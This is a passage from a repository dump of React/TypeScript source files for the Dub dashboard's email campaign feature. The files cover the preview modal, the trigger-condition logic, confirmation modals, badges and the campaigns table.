font-medium\"\n              >\n                Email addresses\n              </label>\n              <textarea\n                id=\"emailAddresses\"\n                name=\"emailAddresses\"\n                placeholder=\"Separate multiple addresses with commas\"\n                autoFocus={!isMobile}\n                required\n                value={emailAddresses}\n                onChange={(e) => setEmailAddresses(e.target.value)}\n                onKeyDown={handleKeyDown}\n                rows={3}\n                className=\"border-border-subtle focus:border-border-emphasis focus:ring-border-emphasis block w-full resize-none rounded-md shadow-sm sm:text-sm\"\n              />\n            </div>\n          </div>\n\n          <div className=\"flex justify-end gap-2 border-t border-neutral-200 px-4 py-4 sm:px-6\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-8 w-fit\"\n              onClick={() => setShowModal(false)}\n              disabled={isSubmitting}\n            />\n            <Button\n              type=\"submit\"\n              text=\"Send preview\"\n              loading={isSubmitting}\n              disabled={!emailAddresses.trim()}\n              className=\"h-8 w-fit\"\n            />\n          </div>\n        </form>\n      </div>\n    </Modal>\n  );\n}\n\nexport function useSendEmailPreviewModal({\n  campaignId,\n}: {\n  campaignId: string;\n}) {\n  const [showSendEmailPreviewModal, setShowSendEmailPreviewModal] =\n    useState(false);\n\n  return {\n    showSendEmailPreviewModal,\n    setShowSendEmailPreviewModal,\n    SendEmailPreviewModal: () => (\n      <SendEmailPreviewModal\n        showModal={showSendEmailPreviewModal}\n        setShowModal={setShowSendEmailPreviewModal}\n        campaignId={campaignId}\n      />\n    ),\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/transactional-campaign-logic.tsx",
    "content": "import { handleMoneyInputChange, handleMoneyKeyDown } from \"@/lib/form-utils\";\nimport { CAMPAIGN_WORKFLOW_ATTRIBUTE_CONFIG } from \"@/lib/zod/schemas/campaigns\";\nimport { WORKFLOW_ATTRIBUTES } from \"@/lib/zod/schemas/workflows\";\nimport {\n  InlineBadgePopover,\n  InlineBadgePopoverContext,\n  InlineBadgePopoverMenu,\n} from \"@/ui/shared/inline-badge-popover\";\nimport { cn, currencyFormatter, pluralize } from \"@dub/utils\";\nimport { useContext, useEffect, useRef } from \"react\";\nimport { Controller } from \"react-hook-form\";\nimport { useCampaignFormContext } from \"./campaign-form-context\";\n\nexport function TransactionalCampaignLogic() {\n  const { control, watch, setValue } = useCampaignFormContext();\n\n  const attribute = watch(\"triggerCondition.attribute\");\n  const value = watch(\"triggerCondition.value\");\n  const prevAttributeRef = useRef(attribute);\n\n  const config = attribute\n    ? CAMPAIGN_WORKFLOW_ATTRIBUTE_CONFIG[attribute]\n    : null;\n\n  // Reset value when attribute changes\n  useEffect(() => {\n    if (prevAttributeRef.current && prevAttributeRef.current !== attribute) {\n      // Set value to 0 for partnerJoined, null for others\n      setValue(\n        \"triggerCondition.value\",\n        attribute === \"partnerJoined\" ? 0 : (null as any),\n      );\n    }\n\n    prevAttributeRef.current = attribute;\n  }, [attribute, setValue]);\n\n  // Ensure partnerJoined always has value 0\n  useEffect(() => {\n    if (attribute === \"partnerJoined\" && value !== 0) {\n      setValue(\"triggerCondition.value\", 0);\n    }\n  }, [attribute, value, setValue]);\n\n  return (\n    <div className=\"flex h-8 w-full items-center px-2\">\n      <span className=\"text-content-default flex gap-1 text-sm font-medium leading-relaxed\">\n        When partner{config?.inputType !== \"none\" && \"'s\"}\n        <div className=\"inline-flex items-center gap-1\">\n          <Controller\n            control={control}\n            name=\"triggerCondition.attribute\"\n            render={({ field }) => (\n              <InlineBadgePopover\n                text={\n                  field.value\n                    ? CAMPAIGN_WORKFLOW_ATTRIBUTE_CONFIG[field.value].label\n                    : \"activity\"\n                }\n                invalid={!field.value}\n              >\n                <InlineBadgePopoverMenu\n                  selectedValue={field.value}\n                  onSelect={field.onChange}\n                  items={WORKFLOW_ATTRIBUTES.map((attr) => ({\n                    text: CAMPAIGN_WORKFLOW_ATTRIBUTE_CONFIG[attr].label,\n                    value: attr,\n                  }))}\n                />\n              </InlineBadgePopover>\n            )}\n          />\n\n          {config && config.inputType !== \"none\" && (\n            <>\n              reaches at least{\" \"}\n              {config.inputType === \"dropdown\" ? (\n                <DropdownValueInput config={config} />\n              ) : (\n                <ValueInput config={config} value={value} />\n              )}\n            </>\n          )}\n        </div>\n      </span>\n    </div>\n  );\n}\n\nfunction DropdownValueInput({\n  config,\n}: {\n  config: { dropdownValues?: number[] };\n}) {\n  const { control } = useCampaignFormContext();\n\n  return (\n    <Controller\n      control={control}\n      name=\"triggerCondition.value\"\n      render={({ field }) => (\n        <>\n          <InlineBadgePopover\n            text={\n              field.value !== undefined && field.value !== null\n                ? String(field.value)\n                : \"1\"\n            }\n            invalid={field.value === undefined || field.value === null}\n          >\n            <InlineBadgePopoverMenu\n              selectedValue={\n                field.value !== undefined && field.value !== null\n                  ? String(field.value)\n                  : \"1\"\n              }\n              onSelect={(val) => field.onChange(Number(val))}\n              items={(config.dropdownValues || []).map((val) => ({\n                text: String(val),\n                value: String(val),\n              }))}\n            />\n          </InlineBadgePopover>\n          {pluralize(\"day\", field.value || 1)}\n        </>\n      )}\n    />\n  );\n}\n\nfunction ValueInput({\n  config,\n  value,\n}: {\n  config: { inputType?: string };\n  value: number | null | undefined;\n}) {\n  const { watch, setValue } = useCampaignFormContext();\n  const { setIsOpen } = useContext(InlineBadgePopoverContext);\n\n  const storedValue = watch(\"triggerCondition.value\");\n\n  const isCurrency = config.inputType === \"currency\";\n\n  const displayValue =\n    isCurrency && storedValue ? storedValue / 100 : storedValue;\n\n  return (\n    <InlineBadgePopover\n      text={\n        value\n          ? isCurrency\n            ? currencyFormatter(value, {\n                trailingZeroDisplay: \"stripIfInteger\",\n              })\n            : value\n          : \"amount\"\n      }\n      invalid={!value}\n    >\n      <div className=\"relative rounded-md shadow-sm\">\n        {isCurrency && (\n          <span className=\"absolute inset-y-0 left-0 flex items-center pl-1.5 text-sm text-neutral-400\">\n            $\n          </span>\n        )}\n        <input\n          className={cn(\n            \"block w-full rounded-md border-neutral-300 px-1.5 py-1 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:w-32 sm:text-sm\",\n            isCurrency ? \"pl-4 pr-12\" : \"pr-7\",\n          )}\n          value={displayValue ?? \"\"}\n          onChange={(e) => {\n            const value = e.target.value;\n            if (value === \"\") {\n              setValue(\"triggerCondition.value\", null as any);\n            } else {\n              const numValue = +value;\n              setValue(\n                \"triggerCondition.value\",\n                isCurrency ? Math.round(numValue * 100) : numValue,\n              );\n            }\n\n            if (isCurrency) {\n              handleMoneyInputChange(e);\n            }\n          }}\n          onKeyDown={(e) => {\n            if (e.key === \"Enter\") {\n              e.preventDefault();\n              setIsOpen(false);\n              return;\n            }\n\n            if (isCurrency) {\n              handleMoneyKeyDown(e);\n            }\n          }}\n        />\n        {isCurrency && (\n          <span className=\"absolute inset-y-0 right-0 flex items-center pr-1.5 text-sm text-neutral-400\">\n            USD\n          </span>\n        )}\n      </div>\n    </InlineBadgePopover>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/use-campaign-confirmation-modals.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport { usePartnersCountByGroupIds } from \"@/lib/swr/use-partners-count-by-groupids\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Campaign, UpdateCampaignFormData } from \"@/lib/types\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { CampaignStatus } from \"@dub/prisma/client\";\nimport { pluralize } from \"@dub/utils\";\nimport { isFuture } from \"date-fns\";\nimport { useRouter } from \"next/navigation\";\nimport { useCallback } from \"react\";\nimport { toast } from \"sonner\";\nimport { useCampaignFormContext } from \"./campaign-form-context\";\n\ninterface UseCampaignConfirmationModalsProps {\n  campaign: Pick<Campaign, \"id\" | \"type\">;\n}\n\nexport function useCampaignConfirmationModals({\n  campaign,\n}: UseCampaignConfirmationModalsProps) {\n  const router = useRouter();\n  const { slug: workspaceSlug } = useWorkspace();\n  const { watch, getValues } = useCampaignFormContext();\n\n  const { makeRequest, isSubmitting: isUpdatingCampaign } =\n    useApiMutation<Campaign>();\n\n  const scheduledAt = watch(\"scheduledAt\");\n  const isScheduled = scheduledAt && isFuture(new Date(scheduledAt));\n\n  const updateCampaign = useCallback(\n    async (\n      data: Partial<UpdateCampaignFormData>,\n      onSuccess: (data: Campaign) => void,\n    ) => {\n      await makeRequest(`/api/campaigns/${campaign.id}`, {\n        method: \"PATCH\",\n        body: {\n          ...data,\n        },\n        onSuccess: async (data) => {\n          await mutatePrefix(`/api/campaigns/${campaign.id}`);\n          onSuccess(data);\n        },\n      });\n    },\n    [makeRequest, campaign.id],\n  );\n\n  const {\n    confirmModal: publishConfirmModal,\n    setShowConfirmModal: setShowPublishModal,\n  } = useConfirmModal({\n    title: \"Publish Campaign\",\n    description:\n      \"Are you sure you want to publish this campaign? Once your campaign rules are met, it will be sent to the partners in the selected groups.\",\n    onConfirm: async () => {\n      await updateCampaign(\n        {\n          ...getValues(),\n          status: CampaignStatus.active,\n        },\n        () => {\n          toast.success(\"Email campaign published!\");\n          router.push(`/${workspaceSlug}/program/campaigns`);\n        },\n      );\n    },\n    confirmText: \"Publish\",\n    confirmShortcut: \"Enter\",\n  });\n\n  const { totalPartners } = usePartnersCountByGroupIds({\n    groupIds: campaign.type === \"marketing\" ? watch(\"groupIds\") : undefined,\n  });\n\n  const {\n    confirmModal: scheduleConfirmModal,\n    setShowConfirmModal: setShowScheduleModal,\n  } = useConfirmModal({\n    title: isScheduled ? \"Schedule Campaign\" : \"Send Campaign\",\n    description: (\n      <>\n        Are you sure you want to {isScheduled ? \"schedule\" : \"send\"} this email\n        campaign? It will{\" \"}\n        {isScheduled ? \"be automatically sent\" : \"start sending immediately\"} to{\" \"}\n        <strong className=\"text-neutral-900\">\n          {totalPartners} {pluralize(\"partner\", totalPartners)}\n        </strong>\n        {isScheduled\n          ? \" at the scheduled date and time you've set.\"\n          : \" once published.\"}\n      </>\n    ),\n    onConfirm: async () => {\n      await updateCampaign(\n        {\n          ...getValues(),\n          status: CampaignStatus.scheduled,\n        },\n        () => {\n          toast.success(\"Email campaign scheduled!\");\n          router.push(`/${workspaceSlug}/program/campaigns`);\n        },\n      );\n    },\n    confirmText: `${isScheduled ? \"Schedule\" : \"Send\"} to ${totalPartners} ${pluralize(\"partner\", totalPartners)}`,\n    confirmShortcut: \"Enter\",\n  });\n\n  const {\n    confirmModal: pauseConfirmModal,\n    setShowConfirmModal: setShowPauseModal,\n  } = useConfirmModal({\n    title: \"Pause Campaign\",\n    description:\n      \"Are you sure you want to pause this email campaign? It will stop sending emails to new recipients.\",\n    onConfirm: async () => {\n      await updateCampaign(\n        {\n          status: CampaignStatus.paused,\n        },\n        () => {\n          toast.success(\"Email campaign paused!\");\n        },\n      );\n    },\n    confirmText: \"Pause\",\n    confirmShortcut: \"Enter\",\n  });\n\n  const {\n    confirmModal: resumeConfirmModal,\n    setShowConfirmModal: setShowResumeModal,\n  } = useConfirmModal({\n    title: \"Resume Campaign\",\n    description:\n      \"Are you sure you want to resume this email campaign? It will continue sending emails to remaining recipients.\",\n    onConfirm: async () => {\n      await updateCampaign(\n        {\n          status: CampaignStatus.active,\n        },\n        () => {\n          toast.success(\"Email campaign resumed!\");\n        },\n      );\n    },\n    confirmText: \"Resume\",\n    confirmShortcut: \"Enter\",\n  });\n\n  const {\n    confirmModal: cancelConfirmModal,\n    setShowConfirmModal: setShowCancelModal,\n  } = useConfirmModal({\n    title: \"Cancel Campaign\",\n    description: isScheduled ? (\n      <div className=\"space-y-2\">\n        <p>\n          Are you sure you want to cancel this scheduled email campaign? The\n          campaign will not be sent at the scheduled time.\n        </p>\n\n        <p className=\"font-semibold\">This action cannot be undone.</p>\n      </div>\n    ) : (\n      <div className=\"space-y-2\">\n        <p>\n          Are you sure you want to cancel this email campaign? If you choose to\n          stop delivery, we'll begin cancelling the campaign immediately.\n        </p>\n\n        <p>\n          However, because sending happens in batches, some additional emails\n          may still go out before the process completes.\n        </p>\n\n        <p className=\"font-semibold\">This action cannot be undone.</p>\n      </div>\n    ),\n    onConfirm: async () => {\n      await updateCampaign(\n        {\n          status: CampaignStatus.canceled,\n          scheduledAt: null,\n        },\n        () => {\n          toast.success(\"Email campaign canceled!\");\n        },\n      );\n    },\n    confirmText: \"Cancel Campaign\",\n    confirmShortcut: \"Enter\",\n  });\n\n  return {\n    updateCampaign,\n    isUpdatingCampaign,\n    publishConfirmModal,\n    setShowPublishModal,\n    scheduleConfirmModal,\n    setShowScheduleModal,\n    pauseConfirmModal,\n    setShowPauseModal,\n    resumeConfirmModal,\n    setShowResumeModal,\n    cancelConfirmModal,\n    setShowCancelModal,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/utils.ts",
    "content": "import { WorkflowCondition } from \"@/lib/types\";\nimport { CAMPAIGN_WORKFLOW_ATTRIBUTE_CONFIG } from \"@/lib/zod/schemas/campaigns\";\n\nexport function isValidTriggerCondition(\n  triggerCondition: WorkflowCondition,\n): boolean {\n  // Null/undefined is valid (no trigger condition set)\n  if (!triggerCondition) {\n    return true;\n  }\n\n  // Must have an attribute\n  if (!triggerCondition.attribute) {\n    return false;\n  }\n\n  const config = CAMPAIGN_WORKFLOW_ATTRIBUTE_CONFIG[triggerCondition.attribute];\n\n  // If attribute doesn't exist in config, invalid\n  if (!config) {\n    return false;\n  }\n\n  // For \"none\" inputType (e.g., partnerJoined), no value is needed\n  if (config.inputType === \"none\") {\n    return true;\n  }\n\n  // For all other input types, value must be present and a valid number\n  return (\n    triggerCondition.value !== null &&\n    triggerCondition.value !== undefined &&\n    typeof triggerCondition.value === \"number\" &&\n    !isNaN(triggerCondition.value)\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/campaign-stats.tsx",
    "content": "\"use client\";\n\nimport { CampaignType } from \"@dub/prisma/client\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { Users } from \"@dub/ui/icons\";\nimport { cn, nFormatter } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { useMemo } from \"react\";\nimport { CAMPAIGN_TYPE_BADGES } from \"./campaign-type-badges\";\nimport { CampaignTypeIcon } from \"./campaign-type-icon\";\nimport useCampaignsCount from \"./use-campaigns-count\";\n\ninterface StatsFilterProps {\n  label: string;\n  href: string;\n  count?: number;\n  icon: React.ReactNode;\n  iconClassName?: string;\n  error: boolean;\n  active: boolean;\n}\n\ninterface CampaignsCountByType {\n  type: CampaignType;\n  _count: number;\n}\n\nexport function CampaignStats() {\n  const { slug } = useParams();\n  const { queryParams } = useRouterStuff();\n  const { searchParamsObj } = useRouterStuff();\n\n  const { campaignsCount, error } = useCampaignsCount<CampaignsCountByType[]>({\n    exclude: [\"type\", \"page\"],\n    groupBy: \"type\",\n  });\n\n  const { totalCount, marketingCount, transactionalCount } = useMemo(() => {\n    const marketingCampaign = campaignsCount?.find(\n      (c) => c.type === \"marketing\",\n    ) ?? {\n      _count: 0,\n    };\n\n    const transactionalCampaign = campaignsCount?.find(\n      (c) => c.type === \"transactional\",\n    ) ?? {\n      _count: 0,\n    };\n\n    return {\n      totalCount: marketingCampaign._count + transactionalCampaign._count,\n      marketingCount: marketingCampaign._count,\n      transactionalCount: transactionalCampaign._count,\n    };\n  }, [campaignsCount]);\n\n  return (\n    <div className=\"grid w-full grid-cols-3 gap-1 overflow-x-auto sm:gap-2\">\n      <StatsFilter\n        label=\"All\"\n        href={`/${slug}/program/campaigns`}\n        count={totalCount}\n        icon={<Users className=\"size-3.5\" />}\n        iconClassName=\"text-neutral-600 bg-neutral-100\"\n        error={!!error}\n        active={searchParamsObj.type == undefined}\n      />\n      <StatsFilter\n        label={CAMPAIGN_TYPE_BADGES.marketing.label}\n        href={\n          queryParams({\n            set: { type: \"marketing\" },\n            getNewPath: true,\n          }) as string\n        }\n        count={marketingCount}\n        icon={<CampaignTypeIcon type=\"marketing\" />}\n        error={!!error}\n        active={searchParamsObj.type === \"marketing\"}\n      />\n      <StatsFilter\n        label={CAMPAIGN_TYPE_BADGES.transactional.label}\n        href={\n          queryParams({\n            set: { type: \"transactional\" },\n            getNewPath: true,\n          }) as string\n        }\n        count={transactionalCount}\n        icon={<CampaignTypeIcon type=\"transactional\" />}\n        error={!!error}\n        active={searchParamsObj.type === \"transactional\"}\n      />\n    </div>\n  );\n}\n\nfunction StatsFilter({\n  label,\n  href,\n  count,\n  error,\n  icon,\n  iconClassName,\n  active,\n}: StatsFilterProps) {\n  return (\n    <Link href={href}>\n      <div\n        className={cn(\n          \"flex flex-col gap-3 rounded-lg border border-neutral-200 bg-white p-3 text-left transition-colors duration-75 hover:bg-neutral-50 active:bg-neutral-100\",\n          active && \"border-2 border-neutral-700\",\n        )}\n      >\n        <div className=\"flex items-center gap-2\">\n          {iconClassName ? (\n            <div\n              className={cn(\n                \"flex size-6 items-center justify-center rounded-md\",\n                iconClassName,\n              )}\n            >\n              {icon}\n            </div>\n          ) : (\n            icon\n          )}\n          <div className=\"text-xs font-medium text-neutral-500\">{label}</div>\n        </div>\n\n        <div>\n          {count !== undefined || error ? (\n            <div className=\"text-base font-semibold leading-tight text-neutral-800\">\n              {error ? \"-\" : nFormatter(count, { full: true })}\n            </div>\n          ) : (\n            <div className=\"h-5 w-10 min-w-0 animate-pulse rounded-md bg-neutral-200\" />\n          )}\n        </div>\n      </div>\n    </Link>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/campaign-status-badges.tsx",
    "content": "import {\n  CircleHalfDottedClock,\n  CirclePlay,\n  CircleXmark,\n  PaperPlane,\n  Pen2,\n} from \"@dub/ui\";\n\nexport const CAMPAIGN_STATUS_BADGES = {\n  draft: {\n    label: \"Draft\",\n    variant: \"neutral\",\n    icon: Pen2,\n    iconClassName: \"text-neutral-600\",\n  },\n  active: {\n    label: \"Active\",\n    variant: \"success\",\n    icon: CirclePlay,\n    iconClassName: \"text-green-600\",\n  },\n  paused: {\n    label: \"Paused\",\n    variant: \"warning\",\n    icon: CircleHalfDottedClock,\n    iconClassName: \"text-yellow-600\",\n  },\n  scheduled: {\n    label: \"Scheduled\",\n    variant: \"warning\",\n    icon: CircleHalfDottedClock,\n    iconClassName: \"text-neutral-600\",\n  },\n  sent: {\n    label: \"Sent\",\n    variant: \"success\",\n    icon: PaperPlane,\n    iconClassName: \"text-neutral-600\",\n  },\n  sending: {\n    label: \"Sending\",\n    variant: \"new\",\n    icon: CircleHalfDottedClock,\n    iconClassName: \"text-neutral-600\",\n  },\n  canceled: {\n    label: \"Canceled\",\n    variant: \"error\",\n    icon: CircleXmark,\n    iconClassName: \"text-neutral-600\",\n  },\n} as const;\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/campaign-type-badges.tsx",
    "content": "import { Megaphone, Workflow } from \"@dub/ui\";\n\nexport const CAMPAIGN_TYPE_BADGES = {\n  marketing: {\n    label: \"Marketing\",\n    icon: Megaphone,\n    iconClassName: \"text-green-600 bg-green-100\",\n    value: \"marketing\",\n  },\n  transactional: {\n    label: \"Transactional\",\n    icon: Workflow,\n    iconClassName: \"text-blue-600 bg-blue-100\",\n    value: \"transactional\",\n  },\n} as const;\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/campaign-type-icon.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { CAMPAIGN_TYPE_BADGES } from \"./campaign-type-badges\";\n\nexport function CampaignTypeIcon({\n  type,\n  className,\n  iconClassName,\n}: {\n  type: keyof typeof CAMPAIGN_TYPE_BADGES;\n  className?: string;\n  iconClassName?: string;\n}) {\n  const { icon: Icon, iconClassName: typeIconClassName } =\n    CAMPAIGN_TYPE_BADGES[type];\n\n  return (\n    <div\n      className={cn(\n        \"flex size-6 shrink-0 items-center justify-center rounded-md\",\n        typeIconClassName,\n        className,\n      )}\n    >\n      <Icon className={cn(\"size-3.5\", iconClassName)} />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/campaigns-page-content.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { ComponentProps, PropsWithChildren } from \"react\";\n\nexport function CampaignsPageContent({\n  controls,\n  children,\n}: PropsWithChildren<Pick<ComponentProps<typeof PageContent>, \"controls\">>) {\n  return (\n    <PageContent\n      title=\"Email campaigns\"\n      titleInfo={{\n        title:\n          \"Send marketing and transactional emails to your partners to increase engagement and drive conversions.\",\n        href: \"https://dub.co/help/article/email-campaigns\",\n      }}\n      controls={controls}\n    >\n      {children}\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/campaigns-table.tsx",
    "content": "\"use client\";\n\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Campaign, CampaignList } from \"@/lib/types\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport { CampaignStatus } from \"@dub/prisma/client\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  Filter,\n  MenuItem,\n  Popover,\n  StatusBadge,\n  Table,\n  TimestampTooltip,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { Dots, Duplicate, LoadingCircle, Trash } from \"@dub/ui/icons\";\nimport { fetcher, formatDateTimeSmart } from \"@dub/utils\";\nimport { Row } from \"@tanstack/react-table\";\nimport { Command } from \"cmdk\";\nimport { Mail, Pause, Play } from \"lucide-react\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\nimport { CAMPAIGN_STATUS_BADGES } from \"./campaign-status-badges\";\nimport { CampaignTypeIcon } from \"./campaign-type-icon\";\nimport { CreateCampaignButton } from \"./create-campaign-button\";\nimport { useDeleteCampaignModal } from \"./delete-campaign-modal\";\nimport { useCampaignsFilters } from \"./use-campaigns-filters\";\n\ninterface PartnersCountByGroup {\n  groupId: string;\n  _count: number;\n}\n\nexport function CampaignsTable() {\n  const router = useRouter();\n  const { id: workspaceId, slug } = useWorkspace();\n  const { pagination, setPagination } = usePagination();\n  const { getQueryString } = useRouterStuff();\n\n  const {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n  } = useCampaignsFilters();\n\n  const {\n    data: campaigns,\n    isLoading: campaignsLoading,\n    error,\n  } = useSWR<CampaignList[]>(\n    workspaceId &&\n      `/api/campaigns${getQueryString({\n        workspaceId: workspaceId,\n      }).toString()}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const { table, ...tableProps } = useTable<CampaignList>({\n    data: campaigns || [],\n    columns: [\n      {\n        id: \"email\",\n        header: \"Email\",\n        cell: ({ row }) => (\n          <div className=\"flex items-center gap-2\">\n            <CampaignTypeIcon type={row.original.type} />\n            <span className=\"text-content-emphasis truncate text-sm font-medium\">\n              {row.original.name}\n            </span>\n          </div>\n        ),\n      },\n      {\n        id: \"status\",\n        header: \"Status\",\n        cell: ({ row }) => {\n          const badge = CAMPAIGN_STATUS_BADGES[row.original.status];\n\n          return badge ? (\n            <StatusBadge icon={null} variant={badge.variant}>\n              {badge.label}\n            </StatusBadge>\n          ) : (\n            \"-\"\n          );\n        },\n      },\n      {\n        id: \"createdAt\",\n        header: \"Created\",\n        accessorFn: (d) => d.createdAt,\n        cell: ({ row }) => (\n          <TimestampTooltip\n            timestamp={row.original.createdAt}\n            side=\"right\"\n            rows={[\"local\"]}\n            delayDuration={150}\n          >\n            <span>{formatDateTimeSmart(row.original.createdAt)}</span>\n          </TimestampTooltip>\n        ),\n      },\n      {\n        id: \"menu\",\n        minSize: 20,\n        size: 20,\n        maxSize: 20,\n        cell: ({ row }) => <RowMenuButton row={row} />,\n      },\n    ],\n    onRowClick: (row, e) => {\n      const url = `/${slug}/program/campaigns/${row.original.id}`;\n\n      if (e.metaKey || e.ctrlKey) {\n        window.open(url, \"_blank\");\n      } else {\n        router.push(url);\n      }\n    },\n    onRowAuxClick: (row) => {\n      const url = `/${slug}/program/campaigns/${row.original.id}`;\n      window.open(url, \"_blank\");\n    },\n    pagination,\n    onPaginationChange: setPagination,\n    columnPinning: { right: [\"createdAt\", \"menu\"] },\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (p) => `campaign${p ? \"s\" : \"\"}`,\n    rowCount: campaigns?.length || 0,\n    loading: campaignsLoading,\n    error: error ? \"Failed to load campaigns\" : undefined,\n  });\n\n  return (\n    <div className=\"flex flex-col gap-4\">\n      <div>\n        <div className=\"flex flex-col gap-3 md:flex-row md:items-center md:justify-between\">\n          <Filter.Select\n            className=\"w-full md:w-fit\"\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n          />\n          <SearchBoxPersisted\n            placeholder=\"Search by name\"\n            inputClassName=\"md:w-[19rem]\"\n          />\n        </div>\n        <AnimatedSizeContainer height>\n          <div>\n            {activeFilters.length > 0 && (\n              <div className=\"pt-3\">\n                <Filter.List\n                  filters={filters}\n                  activeFilters={activeFilters}\n                  onRemove={onRemove}\n                  onRemoveAll={onRemoveAll}\n                />\n              </div>\n            )}\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n\n      {campaigns?.length !== 0 ? (\n        <Table {...tableProps} table={table} />\n      ) : (\n        <AnimatedEmptyState\n          title=\"Email campaigns\"\n          description={\n            !isFiltered\n              ? \"Create one-off or automated emails to send to your partners.\"\n              : \"No campaigns found for the selected filters.\"\n          }\n          cardContent={() => (\n            <>\n              <Mail className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n            </>\n          )}\n          addButton={!isFiltered ? <CreateCampaignButton /> : undefined}\n          learnMoreHref={\n            !isFiltered\n              ? \"https://dub.co/help/article/email-campaigns\"\n              : undefined\n          }\n        />\n      )}\n    </div>\n  );\n}\n\nfunction RowMenuButton({\n  row: { original: campaign },\n}: {\n  row: Row<CampaignList>;\n}) {\n  const router = useRouter();\n  const { slug } = useWorkspace();\n  const [isOpen, setIsOpen] = useState(false);\n\n  const { setShowDeleteCampaignModal, DeleteCampaignModal } =\n    useDeleteCampaignModal(campaign);\n\n  const {\n    makeRequest: duplicateCampaign,\n    isSubmitting: isDuplicatingCampaign,\n  } = useApiMutation<{ id: string }>();\n\n  const { makeRequest: updateCampaign, isSubmitting: isUpdatingCampaign } =\n    useApiMutation<Campaign>();\n\n  const handleCampaignDuplication = async () => {\n    await duplicateCampaign(`/api/campaigns/${campaign.id}/duplicate`, {\n      method: \"POST\",\n      onSuccess: (campaign) => {\n        router.push(`/${slug}/program/campaigns/${campaign.id}`);\n        mutatePrefix(\"/api/campaigns\");\n      },\n    });\n  };\n\n  const handlePauseResume = async () => {\n    const newStatus = isPaused ? CampaignStatus.active : CampaignStatus.paused;\n    const actionText = isPaused ? \"resumed\" : \"paused\";\n\n    await updateCampaign(`/api/campaigns/${campaign.id}`, {\n      method: \"PATCH\",\n      body: {\n        status: newStatus,\n      },\n      onSuccess: async () => {\n        await mutatePrefix(\"/api/campaigns\");\n        toast.success(`Email campaign ${actionText}!`);\n      },\n    });\n  };\n\n  const isPaused = campaign.status === \"paused\";\n  const isDraft = campaign.status === \"draft\";\n\n  return (\n    <>\n      <DeleteCampaignModal />\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <Command tabIndex={0} loop className=\"focus:outline-none\">\n            <Command.List className=\"flex w-screen flex-col gap-1 p-1.5 text-sm focus-visible:outline-none sm:w-auto sm:min-w-[150px]\">\n              <MenuItem\n                icon={isDuplicatingCampaign ? LoadingCircle : Duplicate}\n                variant=\"default\"\n                onClick={handleCampaignDuplication}\n                disabled={isDuplicatingCampaign}\n              >\n                Duplicate\n              </MenuItem>\n\n              {!isDraft && campaign.type === \"transactional\" && (\n                <MenuItem\n                  icon={\n                    isUpdatingCampaign ? LoadingCircle : isPaused ? Play : Pause\n                  }\n                  variant=\"default\"\n                  onClick={handlePauseResume}\n                  disabled={isUpdatingCampaign || isDuplicatingCampaign}\n                >\n                  {isPaused ? \"Resume\" : \"Pause\"}\n                </MenuItem>\n              )}\n\n              <MenuItem\n                icon={Trash}\n                variant=\"danger\"\n                onClick={() => {\n                  setIsOpen(false);\n                  setShowDeleteCampaignModal(true);\n                }}\n              >\n                Delete\n              </MenuItem>\n            </Command.List>\n          </Command>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"size-8 shrink-0 whitespace-nowrap rounded-lg p-0\"\n          variant=\"outline\"\n          icon={<Dots className=\"h-4 w-4 shrink-0\" />}\n        />\n      </Popover>\n    </>\n  );\n}\n\nconst calculatePercentage = (value: number, total: number) => {\n  if (total === 0) {\n    return 0;\n  }\n\n  return Number(((value / total) * 100).toFixed(2));\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/campaigns-upsell.tsx",
